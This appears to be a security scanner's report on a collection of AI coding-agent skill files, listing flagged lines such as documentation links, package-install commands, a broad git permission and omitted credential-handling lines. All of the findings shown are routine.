    - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 443
    - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)

harness/claude-code/skills/gtm-operating-cadence/SKILL.md

  • Network accessline 8
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 263
    - [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 264
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/claude-code/skills/gtm-partnership-architecture/SKILL.md

  • Network accessline 8
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 161
    - [Original technical product GTM source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 162
    - [Author profile](https://linkedin.com/in/smitkpatel)

harness/claude-code/skills/gtm-positioning-strategy/SKILL.md

  • Network accessline 9
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 11
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 12
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 204
    - [Source repository](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 205
    - [Author profile](https://linkedin.com/in/smitkpatel)

harness/claude-code/skills/gtm-product-led-growth/SKILL.md

  • Network accessline 9
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 11
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 12
    source: "https://github.com/beingsmit/technical-product-gtm"

harness/claude-code/skills/gtm-technical-product-pricing/SKILL.md

  • Network accessline 8
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 199
    - [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 200
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/claude-code/skills/harness-engineering/SKILL.md

  • Network accessline 125
    The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid
  • Network accessline 162
    - [Harness starter kit](https://github.com/baskduf/harness-starter-kit)

harness/claude-code/skills/image-manipulation-image-magick/SKILL.md

  • Dangerous shell operationline 82
    echo "  Ubuntu/Debian: sudo apt install imagemagick"

harness/claude-code/skills/impediment-prioritization/SKILL.md

  • Network accessline 94
    | Rank | Impediment | Countermeasure | ROI | Cost | Ease | Risk | Priority | Rationale | | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/o
  • Network accessline 95
    | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your
  • Network accessline 96
    | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-you
  • Network accessline 97
    | 2 | Secret scanning disabled | Enable secret scanning + push protection org-wide ([docs](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning)) | 8 | 3 | 7 | 3 | 25.0 | ROI: catches leaked creds pre-merge<br>Cost
  • Network accessline 98
    | 3 | No CODEOWNERS on critical repos | Add CODEOWNERS to top-20 repos ([docs](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)) | 6 | 4 | 6 | 4 | 15.0 | 
  • Network accessline 149
    - [GitHub 2FA organization enforcement](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization)
  • Network accessline 150
    - [GitHub secret scanning](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning)
  • Network accessline 151
    - [GitHub CODEOWNERS](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)

harness/claude-code/skills/import-infrastructure-as-code/SKILL.md

  • Network accessline 72
    | Source | URL or pattern | | --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` |
  • Network accessline 73
    | --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | | Terraform Pattern Modules | `https://raw.githubusercon
  • Network accessline 74
    | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` |
  • Network accessline 75
    | Terraform Pattern Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformPatternModules.csv` |
  • Network accessline 76
    | Terraform Utility Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformUtilityModules.csv` |
  • Network accessline 77
    | Registry namespace | `https://registry.terraform.io/namespaces/Azure` |
  • Network accessline 78
    | Registry module | `https://registry.terraform.io/modules/Azure/<module>/azurerm/latest` |
  • Network accessline 79
    | GitHub module | `https://github.com/Azure/terraform-azurerm-avm-res-{service}-{resource}` |
  • Network accessline 80
    | README | `https://raw.githubusercontent.com/Azure/terraform-azurerm-avm-res-{service}-{resource}/refs/heads/main/README.md` |
  • Network accessline 81
    | AVM index | `https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes` |
  • Network accessline 224
    - [Azure Verified Modules index (Terraform)](https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes)
  • Network accessline 225
    - [Terraform AVM Registry namespace](https://registry.terraform.io/namespaces/Azure)

harness/claude-code/skills/issue-fields-migration/SKILL.md

  • Network accessline 130
    - [Issue fields public preview changelog](https://github.blog/changelog/2026-03-12-issue-fields-structured-issue-metadata-is-in-public-preview/)

harness/claude-code/skills/java-add-graalvm-native-image-support/SKILL.md

  • Network accessline 452
    - [ ] The native executable was started and critical paths were tested after a successful build. ## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/)
  • Network accessline 453
    ## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html)
  • Network accessline 454
    - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/)
  • Network accessline 455
    - [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html)
  • Network accessline 456
    - [Quarkus Building Native Images](https://quarkus.io/guides/building-native-image)
  • Network accessline 457
    - [Micronaut GraalVM Support](https://docs.micronaut.io/latest/guide/index.html#graal)
  • Network accessline 458
    - [GraalVM Reachability Metadata](https://github.com/oracle/graalvm-reachability-metadata)
  • Network accessline 459
    - [Native Build Tools](https://graalvm.github.io/native-build-tools/latest/index.html)

harness/claude-code/skills/java-mcp-server-generator/SKILL.md

  • Network accessline 60
    <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/"
  • Network accessline 61
    <project xmlns="http://maven.apache.org/"
  • Network accessline 62
    "POM/4.0.0"          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
  • Network accessline 63
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  • Network accessline 64
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
  • Network accessline 65
    https://maven.apache.org/xsd/maven-4.0.0.xsd">

harness/claude-code/skills/javax-to-jakarta-migration/SKILL.md

  • Network accessline 75
    | `pom.xml` | `javax.validation:validation-api` | `jakarta.validation:jakarta.validation-api:3.0.2` | | `pom.xml` | `javax.annotation:javax.annotation-api` | `jakarta.annotation:jakarta.annotation-api:2.1.1` | | `web.xml` | `http://xmlns.jc
  • Network accessline 77
    | `web.xml` | `http://xmlns.jcp.org/xml/ns/javaee` with `version="4.0"` on the `web-app` descriptor | `https://jakarta.ee/xml/ns/jakartaee` with `version="6.0"` on the `web-app` descriptor |
  • Network accessline 121
    - [ ] Every migrated package appears in the migration map and no keep-list package was changed. - [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `v
  • Network accessline 122
    - [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required. - [ ] `mvn clean compile`, `./gradlew build`, or the re
  • Network accessline 123
    - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required.
  • Network accessline 129
    - [Legacy Java EE web.xml namespace](http://xmlns.jcp.org/xml/ns/javaee)
  • Network accessline 130
    - [Jakarta EE XML namespace](https://jakarta.ee/xml/ns/jakartaee)

harness/claude-code/skills/landing-page-conversion-audit/SKILL.md

  • Network accessline 99
    If the user wants those built rather than diagnosed, Autonnel is an Apache-2.0 self-hosted funnel builder that supports landing → checkout → one-click upsell → thank-you, click IDs, and server-side postbacks to Facebook, TikTok, Google, and
  • Network accessline 104
    docker compose up # open http://localhost:4321 and complete /setup
  • Network accessline 105
    # open http://localhost:4321 and complete /setup
  • Network accessline 143
    - [Autonnel](https://github.com/autonnel/autonnel)
  • Network accessline 144
    - [Local Autonnel setup endpoint](http://localhost:4321)

harness/claude-code/skills/latchshot-page-capture/SKILL.md

  • Access to secretsline 14
    [Credential-related source omitted]
  • Network accessline 26
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 32
    | Request | Handle with Latchshot? | Rule | | --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. |
  • Network accessline 33
    | --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | | PNG, JPEG, or PDF output | Yes | Infer from `.png`, `.jpg`, `.jpeg`, or `.pdf`, or pass `--format`. |
  • Network accessline 34
    | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. |
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 49
    node scripts/latchshot.mjs demo \   --url 'https://example.com' \
  • Network accessline 50
    --url 'https://example.com' \
  • Network accessline 54
    The demo is JPEG-only, does not use an account or render quota, allows three attempts per IP address per hour, and accepts only width, height, query confirmation, and explicit overwrite options. The public URL is still sent to Latchshot wit
  • Network accessline 67
    node scripts/latchshot.mjs capture \   --url 'https://example.com' \
  • Network accessline 68
    --url 'https://example.com' \
  • Network accessline 75
    node scripts/latchshot.mjs capture \   --url 'https://example.com' \
  • Network accessline 76
    --url 'https://example.com' \
  • Network accessline 85
    node scripts/latchshot.mjs capture \   --url 'https://example.com' \
  • Network accessline 86
    --url 'https://example.com' \
  • Access to secretsline 142
    [Credential-related source omitted]
  • Network accessline 150
    - [Latchshot service origin](https://latchshot.fly.dev)
  • Network accessline 151
    - [Agent Skills setup documentation](https://latchshot.fly.dev/integrations.md#agent-skills)

harness/claude-code/skills/latchshot-page-capture/scripts/latchshot.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 9
    const ORIGIN = 'https://latchshot.fly.dev';
  • Access to secretsline 75
    [Credential-related source omitted]
  • Network accessline 106
    Examples:   node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg
  • Network accessline 107
    node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg
  • Network accessline 108
    node scripts/latchshot.mjs capture --url https://example.com --output page.png
  • Network accessline 109
    node scripts/latchshot.mjs capture --url https://example.com --output page.pdf --paper A4
  • Access to secretsline 192
    [Credential-related source omitted]
  • Access to secretsline 194
    [Credential-related source omitted]

harness/claude-code/skills/legacy-circuit-mockups/references/28256-eeprom.md

  • Network accessline 185
    * <https://www.utmel.com/components/at28bv256-eeproms-pinout-equivalent-and-datasheet?id=1019>
  • Network accessline 186
    * <https://www.futurlec.com/Memory/28C256.shtml>
  • Network accessline 187
    * <https://ww1.microchip.com/downloads/en/DeviceDoc/doc0006.pdf>
  • Network accessline 188
    * <https://bread80.com/2020/08/10/the-ben-eater-eeprom-programmer-28c256-and-software-data-protection/>

harness/claude-code/skills/legacy-circuit-mockups/references/555.md

  • Network accessline 3
    [www.fairchildsemi.com](https://www.fairchildsemi.com)

harness/claude-code/skills/legacy-circuit-mockups/references/6502.md

  • Network accessline 210
    * <https://syncopate.us/books/Synertek6502ProgrammingManual.html>
  • Network accessline 211
    * <https://en.wikipedia.org/wiki/MOS_Technology_6502>
  • Network accessline 212
    * <https://web.archive.org/web/20061114024257/http://www.westerndesigncenter.com/wdc/documentation/Programmanual.pdf>
  • Network accessline 213
    * Tutorial excerpts from <https://wilsonminesco.com/6502primer/>
  • Network accessline 214
    * <https://wilsonminesco.com/6502primer/LogicFamilies.html>
  • Network accessline 215
    * <https://wilsonminesco.com/6502primer/ClkGen.html>
  • Network accessline 216
    * <https://wilsonminesco.com/6502primer/RSTreqs.html>
  • Network accessline 217
    * <https://wilsonminesco.com/6502primer/displays.html>
  • Network accessline 218
    * <https://wilsonminesco.com/6502primer/debug.html>
  • Network accessline 219
    * <https://wilsonminesco.com/6502primer/potpourri.html>

harness/claude-code/skills/legacy-circuit-mockups/references/6522.md

  • Network accessline 208
    * <https://en.wikipedia.org/wiki/MOS_Technology_6522>
  • Network accessline 209
    * <https://grokipedia.com/page/MOS_Technology_6522>

harness/claude-code/skills/legacy-circuit-mockups/references/6C62256.md

  • Network accessline 173
    * <https://www.alliancememory.com/wp-content/uploads/AS6C62256-23-March-2016-rev1.2.pdf>
  • Network accessline 174
    * <https://www.futurlec.com/Datasheet/Memory/62256.pdf>
  • Network accessline 175
    * <https://www.malinov.com/sergeys-blog/homebrew-notes.html>

harness/claude-code/skills/legacy-circuit-mockups/references/7400-series.md

  • Network accessline 173
    * <https://www.ti.com/lit/ds/symlink/sn74ls00.pdf>
  • Network accessline 174
    * <https://archive.org/details/TTLCookBook>
  • Network accessline 175
    * <https://digilent.com/reference/test-and-measurement/analog-discovery-2/hardware-design-guide>

harness/claude-code/skills/legacy-circuit-mockups/references/assembly-compiler.md

  • Network accessline 248
    * [MOS 6502 Programming Manual](http://archive.6502.org/datasheets/synertek_programming_manual.pdf)
  • Network accessline 249
    * [MOS 6522 VIA Datasheet](http://archive.6502.org/datasheets/mos_6522_preliminary_nov_1977.pdf)
  • Network accessline 250
    * [AT28C256 Datasheet](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf)
  • Network accessline 251
    * [HD44780 LCD Datasheet](https://www.futurlec.com/LED/LCD16X2BLa.shtml)
  • Network accessline 252
    * [cc65 Toolchain Docs](https://cc65.github.io/doc/cc65.html)

harness/claude-code/skills/legacy-circuit-mockups/references/assembly-language.md

  • Network accessline 217
    * [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html)
  • Network accessline 218
    * [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502)
  • Network accessline 219
    * [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation)
  • Network accessline 220
    * [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)

harness/claude-code/skills/legacy-circuit-mockups/references/breadboard.md

  • Network accessline 206
    * [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard)
  • Network accessline 207
    * [https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard](https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard)
  • Network accessline 208
    * [https://learn.adafruit.com/breadboards-for-beginners](https://learn.adafruit.com/breadboards-for-beginners)

harness/claude-code/skills/legacy-circuit-mockups/references/common-breadboard-components.md

  • Network accessline 50
    * [https://en.wikipedia.org/wiki/Resistor](https://en.wikipedia.org/wiki/Resistor)
  • Network accessline 88
    * [https://en.wikipedia.org/wiki/Capacitor](https://en.wikipedia.org/wiki/Capacitor)
  • Network accessline 112
    * [https://en.wikipedia.org/wiki/Inductor](https://en.wikipedia.org/wiki/Inductor)
  • Network accessline 140
    * [https://en.wikipedia.org/wiki/Diode](https://en.wikipedia.org/wiki/Diode)
  • Network accessline 164
    * [https://en.wikipedia.org/wiki/Light-emitting_diode](https://en.wikipedia.org/wiki/Light-emitting_diode)
  • Network accessline 190
    * [https://en.wikipedia.org/wiki/Transistor](https://en.wikipedia.org/wiki/Transistor)
  • Network accessline 209
    * [https://en.wikipedia.org/wiki/Integrated_circuit](https://en.wikipedia.org/wiki/Integrated_circuit)
  • Network accessline 244
    * [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard)
  • Network accessline 273
    * [https://learn.sparkfun.com](https://learn.sparkfun.com)
  • Network accessline 274
    * [https://www.allaboutcircuits.com](https://www.allaboutcircuits.com)
  • Network accessline 275
    * [https://www.electronics-tutorials.ws](https://www.electronics-tutorials.ws)
  • Network accessline 276
    * [https://en.wikipedia.org/wiki/Electronics](https://en.wikipedia.org/wiki/Electronics)

harness/claude-code/skills/legacy-circuit-mockups/references/emulator-28256-eeprom.md

  • Network accessline 231
    * [AT28C256 Datasheet (Microchip)](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf)
  • Network accessline 232
    * [Ben Eater 6502 Computer Series](https://eater.net/6502)
  • Network accessline 233
    * <https://www.youtube.com/watch?v=oO8_2JJV0B4>
  • Network accessline 234
    * [6502.org Memory Mapping Notes](https://6502.co.uk/lesson/memory-map)

harness/claude-code/skills/legacy-circuit-mockups/references/emulator-6502.md

  • Network accessline 242
    * [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html)
  • Network accessline 243
    * [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502)
  • Network accessline 244
    * [https://github.com/Klaus2m5/6502_65C02_functional_tests](https://github.com/Klaus2m5/6502_65C02_functional_tests)
  • Network accessline 245
    * [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)

harness/claude-code/skills/legacy-circuit-mockups/references/emulator-6522.md

  • Network accessline 280
    * [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation)
  • Network accessline 281
    * [https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf](https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf)
  • Network accessline 282
    * [https://www.nesdev.org/wiki/6522](https://www.nesdev.org/wiki/6522)

harness/claude-code/skills/legacy-circuit-mockups/references/emulator-6C62256.md

  • Network accessline 226
    * [Alliance Memory AS6C62256 Datasheet](https://www.alliancememory.com/wp-content/uploads/AS6C62256-23-March-2016-rev1.2.pdf)
  • Network accessline 227
    * [https://en.wikipedia.org/wiki/Static_random-access_memory](https://en.wikipedia.org/wiki/Static_random-access_memory)

harness/claude-code/skills/legacy-circuit-mockups/references/emulator-lcd.md

  • Network accessline 252
    * [HD44780U Datasheet (Hitachi)](https://academy.cba.mit.edu/classes/output_devices/44780.pdf)
  • Network accessline 253
    * [Ben Eater LCD Interface Notes](https://hackaday.io/project/174128-db6502/log/181838-adventures-with-hd44780-lcd-controller)
  • Network accessline 254
    * [Ben Eater's 6502 Computer](https://github.com/tedkotz/be6502)
  • Network accessline 255
    * [Build a 6502 Computer](https://eater.net/6502)

harness/claude-code/skills/legacy-circuit-mockups/references/lcd.md

  • Network accessline 204
    * <https://static6.arrow.com/aropdfconversion/1f68489996f057bb6611f71d5fdb5f60f44faa72/pgurl_58439499065092.pdf>
  • Network accessline 205
    * <https://cdn.sparkfun.com/assets/9/5/f/7/b/HD44780.pdf>
  • Network accessline 206
    * <https://predictabledesigns.com/introduction-embedded-electronic-displays/>

harness/claude-code/skills/legacy-circuit-mockups/references/minipro.md

  • Dangerous shell operationline 47
    sudo apt install minipro
  • Network accessline 53
    git clone https://github.com/vdudouyt/minipro.git
  • Dangerous shell operationline 55
    sudo make install
  • Network accessline 205
    * <https://gitlab.com/DavidGriffith/minipro>
  • Network accessline 206
    * <https://www.hadex.cz/spec/m545b.pdf>
  • Network accessline 207
    * <https://github.com/mikeroyal/Firmware-Guide>
  • Network accessline 208
    * <https://mike42.me/blog/2021-08-a-first-look-at-programmable-logic>
  • Network accessline 209
    * <https://retrocomputingforum.com/>

harness/claude-code/skills/legacy-circuit-mockups/references/t48eeprom-programmer.md

  • Network accessline 170
    * <https://www.bulcomp-eng.com/datasheet/XGecu%20T48%20-%20Introduction.pdf>
  • Network accessline 171
    * <https://gitlab.com/DavidGriffith/minipro>
  • Network accessline 172
    * <https://opensource.com/article/23/1/learn-machine-language-retro-computer>

harness/claude-code/skills/load-performance-testing/SKILL.md

  • Network accessline 136
    - [k6 documentation](https://grafana.com/docs/k6/latest/)
  • Network accessline 137
    - [Apache JMeter user manual](https://jmeter.apache.org/usermanual/index.html)
  • Network accessline 138
    - [Locust documentation](https://docs.locust.io/en/stable/)
  • Network accessline 139
    - [Gatling documentation](https://docs.gatling.io/)

harness/claude-code/skills/lsp-setup/SKILL.md

  • Network accessline 138
    - [VS Code known language identifiers](https://code.visualstudio.com/docs/languages/identifiers#_known-language-identifiers)

harness/claude-code/skills/lsp-setup/references/lsp-servers.md

  • Network accessline 11
    **Server**: [typescript-language-server](https://github.com/typescript-language-server/typescript-language-server)
  • Network accessline 40
    **Server**: [Eclipse JDT Language Server (jdtls)](https://github.com/eclipse-jdtls/eclipse.jdt.ls)
  • Network accessline 47
    |---------|-----------------------------------| | macOS   | `brew install jdtls`              | | Linux   | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ |
  • Network accessline 48
    | macOS   | `brew install jdtls`              | | Linux   | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | | Windows | Download from https://download.eclipse.
  • Network accessline 49
    | Linux   | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ |
  • Network accessline 50
    | Windows | Download from https://download.eclipse.org/jdtls/milestones/ and add `bin/` to `PATH` |
  • Network accessline 68
    > **Note**: The `jdtls` wrapper script handles `--stdio` mode internally. If using a manual install, you may need to invoke the launcher jar directly — see the [jdtls README](https://github.com/eclipse-jdtls/eclipse.jdt.ls#running-from-comm
  • Network accessline 74
    **Server**: [pyright](https://github.com/microsoft/pyright)
  • Network accessline 101
    **Server**: [gopls](https://github.com/golang/tools/tree/master/gopls)
  • Network accessline 128
    **Server**: [rust-analyzer](https://github.com/rust-lang/rust-analyzer)
  • Network accessline 157
    **Server**: [clangd](https://clangd.llvm.org/)
  • Network accessline 163
    | macOS   | `brew install llvm` (clangd included) or Xcode command line tools | | Linux   | `apt install clangd` / `dnf install clang-tools-extra` | | Windows | Download LLVM from https://releases.llvm.org/ |
  • Network accessline 165
    | Windows | Download LLVM from https://releases.llvm.org/ |
  • Network accessline 191
    **Server**: [Roslyn Language Server](https://github.com/dotnet/roslyn) (via `dotnet dnx`)
  • Network accessline 195
    | OS      | Command                                                        | |---------|----------------------------------------------------------------| | Any     | Requires the [.NET SDK](https://dot.net/download) installed    |
  • Network accessline 197
    | Any     | Requires the [.NET SDK](https://dot.net/download) installed    |
  • Network accessline 217
    **Server**: [solargraph](https://github.com/castwide/solargraph)
  • Network accessline 245
    **Server**: [intelephense](https://github.com/bmewburn/vscode-intelephense)
  • Network accessline 271
    **Server**: [kotlin-language-server](https://github.com/fwcd/kotlin-language-server)
  • Network accessline 299
    **Server**: [sourcekit-lsp](https://github.com/swiftlang/sourcekit-lsp) (bundled with Swift toolchain)
  • Network accessline 304
    |---------|----------------------------------------------------------------| | macOS   | Included with Xcode; binary at `xcrun sourcekit-lsp`           | | Linux   | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 305
    | macOS   | Included with Xcode; binary at `xcrun sourcekit-lsp`           | | Linux   | Included with Swift toolchain; install from https://swift.org  | | Windows | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 306
    | Linux   | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 307
    | Windows | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 329
    **Server**: [lua-language-server](https://github.com/LuaLS/lua-language-server)
  • Network accessline 357
    **Server**: [yaml-language-server](https://github.com/redhat-developer/yaml-language-server)
  • Network accessline 384
    **Server**: [bash-language-server](https://github.com/bash-lsp/bash-language-server)

harness/claude-code/skills/make-repo-contribution/SKILL.md

  • Broad permissionsline 1
    Read, Edit, Bash(git:*), Bash(gh issue:*), Bash(gh pr:*)

harness/claude-code/skills/markdown-to-html/SKILL.md

  • Network accessline 17
    Expert skill for converting Markdown documents to HTML using the marked.js library, or writing data conversion scripts; in this case scripts similar to [markedJS/marked](https://github.com/markedjs/marked) repository. For custom scripts kno
  • Network accessline 42
    One sentence with a [link](https://example.com), and a HTML snippet like `<p>paragraph tag</p>`.
  • Network accessline 69
    <p>One sentence with a <a href="https://example.com">link</a>, and a HTML snippet like <code>&lt;p&gt;paragraph tag&lt;/p&gt;</code>.</p>

harness/claude-code/skills/markdown-to-html/references/basic-markdown-to-html.md

  • Network accessline 240
    [GitHub Pages](https://pages.github.com/)
  • Network accessline 246
    <a href="https://pages.github.com/">GitHub Pages</a>
  • Network accessline 348
    <a href="https://docs.github.com/en/support" class="user-mention">@github/support</a>

harness/claude-code/skills/markdown-to-html/references/basic-markdown.md

  • Network accessline 15
    ![Screenshot of rendered GitHub Markdown showing sample h1, h2, and h3 headers, which descend in type size and visual weight to show hierarchy level.](https://docs.github.com/assets/images/help/writing/headings-rendered.png)
  • Network accessline 19
    ![Screenshot of a README file with the drop-down menu for the table of contents exposed. The table of contents icon is outlined in dark orange.](https://docs.github.com/assets/images/help/repository/headings-toc.png)
  • Network accessline 48
    ![Screenshot of rendered GitHub Markdown showing the difference between normal and quoted text.](https://docs.github.com/assets/images/help/writing/quoted-text-rendered.png)
  • Network accessline 50
    > \[!NOTE] > When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 1
  • Network accessline 51
    > When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 16 16" class
  • Network accessline 61
    ![Screenshot of rendered GitHub Markdown showing that characters surrounded by backticks are shown in a fixed-width typeface, highlighted in light gray.](https://docs.github.com/assets/images/help/writing/inline-code-rendered.png)
  • Network accessline 74
    ![Screenshot of rendered GitHub Markdown showing a simple code block without syntax highlighting.](https://docs.github.com/assets/images/help/writing/code-block-rendered.png)
  • Network accessline 76
    For more information, see [Creating and highlighting code blocks](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks).
  • Network accessline 78
    If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/en/get-star
  • Network accessline 88
    ![Screenshot of rendered GitHub Markdown showing how HEX values within backticks create small circles of color, here white and then black.](https://docs.github.com/assets/images/help/writing/supported-color-models-rendered.png)
  • Network accessline 92
    | Color | Syntax                      | Example                             | Output                                                                                                                                                            
  • Network accessline 93
    | ----- | --------------------------- | ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------
  • Network accessline 94
    | HEX   | <code>\`#RRGGBB\`</code>    | <code>\`#0969DA\`</code>            | ![Screenshot of rendered GitHub Markdown showing how HEX value #0969DA appears with a blue circle.](https://docs.github.com/assets/images/help/writing/supported-c
  • Network accessline 95
    | RGB   | <code>\`rgb(R,G,B)\`</code> | <code>\`rgb(9, 105, 218)\`</code>   | ![Screenshot of rendered GitHub Markdown showing how RGB value 9, 105, 218 appears with a blue circle.](https://docs.github.com/assets/images/help/writing/support
  • Network accessline 96
